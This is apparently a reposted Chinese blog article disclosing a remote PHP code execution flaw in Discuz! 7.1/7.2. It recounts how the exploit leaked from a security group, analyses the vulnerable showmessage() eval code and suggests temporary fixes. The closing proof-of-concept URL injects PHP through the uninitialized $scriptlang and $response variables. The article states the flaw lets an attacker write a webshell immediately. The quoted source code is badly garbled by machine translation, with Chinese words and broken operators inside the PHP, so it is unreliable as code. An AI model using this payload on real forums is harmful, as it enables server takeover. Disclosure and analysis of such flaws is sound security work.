据统计,民间安全组织t00ls的成员昨天深夜发现了Discuz!一个全新版本的高危漏洞,可导致WEBSHELL立即被获取。现阶段应用Discuz7.2版本的网站不在少数。现阶段官网没有补丁下载。站长可以根据oldjun公布的补救方案进行临时恢复
截稿日期至这时,黑客X档案等一些应用discuz!最新版本的社区论坛已黑客攻击从而无法打开。首先,该漏洞是由t00ls密钥组传播的。xhming先看,我后来看。读出的只是代码执行。1月5日晚上11点,在重点组网络黑客的规定下,xhming做了一个poc,我做了一个exp,果然发现了同样的问题。截止到下午两点,我通过各种方式退出,t00ls钥匙群只有几个人知道我的exp,但我万万没想到。大半天之后exp满天飞,真的是源于昨天那个版本的我。
不难想象,exp传播之广。A和B相关性好,A发给B;B和C是最好的朋友,B把他们送给C...总有人耐不住性子,漏点口风,所以每个人都要有一份。最不能忍受的是,有些SB居然习惯在群里喝酒;我真的什么都不想说。什么时候轮到你喊?人心不古,以后有事就自己藏着吧。
Saiy是早上得知漏洞的,DZ官网的补丁下载会很快出来。
特别是说明造成漏洞的$scriptlang数组是在软件安装后很久才初始化的,所以安装该软件的客户没有受到影响。
漏洞详细信息:
Discuz!新版本7.1和7.2中showmessage函数中eval实现的主要参数都是未初始化的,可以随意提交,然后就可以实现任意的PHP指令。
漏洞分析:
下面是对这个远程控制代码执行漏洞的分析。这个问题真的很严重,可以马上写shell:
首先,漏洞来自showmessage函数:
函数showmessage($message,$url_forward='',$extra='',$forwardtype=0){
extract($GLOBALS,EXTR_SKIP);//如何使用风险,未初始化的独立变量可以马上带入函数,马上就出问题了。来自www.oldjun.com
全局$Hookscriptmessage,$extrahead,$discussion_uid,$discussion_action,$debuginfo,$seccode,$seccodestatus,$fid,$tid,$charset,$show_message,$inajax,$_DCACHE,$advlist
define('CACHE_FORBIDDEN',TRUE);
$hookscriptmessage=$show_message=$message;$messagehandle=0;
$msgforward=unserialize($_DCACHE['settings']['msgforward']);
$refreshtime=intval($msgforward['refreshtime']);
$refreshtime=empty($forwardtype)?$refreshtime:($refreshtime?$refreshtime:3);
$msgforward['refreshtime']=$refreshtime*1000;
$URL_forward=empty($URL_forward)?':(empty($_DCOOKIE['sid'])&;&$transsidstatus?transsid($URL_forward):$URL_forward);
$seccodecheck=$seccodestatus&;2;
if($_DCACHE['settings']['funcsiteid']&;&$_DCACHE['settings']['funkey']&;&$funcstatinfo&&!IS_ROBOT){
$statlogfile=DISCUZ_ROOT。。/forumdata/funcstat.log';
if($FP=@fopen($statlogfile,'a'){
@flock($FP,2);
if(is_array($funcstatinfo)){
$funcstatinfo=array_unique($funcstatinfo);
foreach($funcstatinfoas$funcinfo){
fwrite($FP,funcstat_query($funcinfo,$message)。"\n");
}
}else{
fwrite($FP,funcstat_query($funcstatinfo,$message)。"\n");
}
fclose($FP);
$funcstatinfo=$GLOBALS['funcstatinfo']='';
}
}
if(!已定义('STAT_DISABLED')&;&STAT_ID>0&&!IS_ROBOT){
write_statlog($message);
}
if($URL_forward&;&(!empty($quickforward)||empty($inajax)&;&$msgforward['quick']&;&$msgforward['messages']&;&@in_array($message,$msgforward['messages'])){
updatesession();
dheader("location:"。str_replace(&;amp','&',$URL_forward));
}
if(!empty($infloat)){
if($extra){
$messagehandle=$extra;
}
$extra='';
}
if(in_array($extra,array('HALTED','noperm'){
$discuz_action=254;
}else{
$discuz_action=255;
}
包含语言(“消息”);
$vars=explode(':',$message);//如果包含:,那就好
If(count($vars)==2&;isset($scriptlang[$vars[0]][$vars[1]]){/2条数据就可以了。use:split
eval("\$show_message=\")。str_replace('"','\");//$scriptlang未初始化,可以自定义,来自www.oldjun.com
}elseif(isset($language[$message]){
$pre=$inAjax?'Ajax_':'';
eval("$show_message=\")。(isset($language[$pre。$message])?$language[$pre。$message]:$language[$message])。\";");
unset($pre);
}
......
}
二、DZ整体系统导致未初始化的主参数随意提交:
foreach(array('_COOKIE','_POST','_GET')as$_request){
foreach($$_requestas$_key=>;$_value){
$_key{0}!='_'&&$$_key=daddslashs($_value);
}
}
第三,misc.php只有一个可以自定义消息的点,它实际上是未初始化的:
elseif($action=='imme_binding'&;&$discuz_uid){
if(isemail($id)){
$MSN=$dB->;result_first("SELECTMSNFROM{$tablepre}memberfieldsWHEREuid='$discuz_uid'");
$msn=explode("\t",$MSN);
$id=dhtmlspecialchars(substr($id,0,strpos($id,'@'));
$MSN="$MSN[0]\t$id";
$dB->;query("UPDATE{$tablepre}memberfieldsSETMSN='$MSN'其中uid='$discuz_uid'");
showmessage('MSN_binding_succeed','memcp.PHP');
}else{
if($result=='Declined'){
dheader("Location:memcp.PHP");
}else{
showmessage($response['result']);//$response未初始化,可以自定义,来自www.oldjun.com
}
}
}
四。漏洞利用:
show函数中的$vars=explode(':',$message);然后消息可以自己 *** 作,所以很容易。主要参数是两个自定义数组。
五、漏洞恢复:
1.有补丁下载修复漏洞;
2。没有任何补丁下载可以临时注释导致漏洞的句子,或者给两个独立变量赋值。
概念验证:
(根据Saiy的规定,没有发送过exp!)申请注册一个用户登录,然后提交
misc.php?action=imme_binding&响应[结果]=1:2&;scriptlang[1][2]={${phpinfo()}}
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)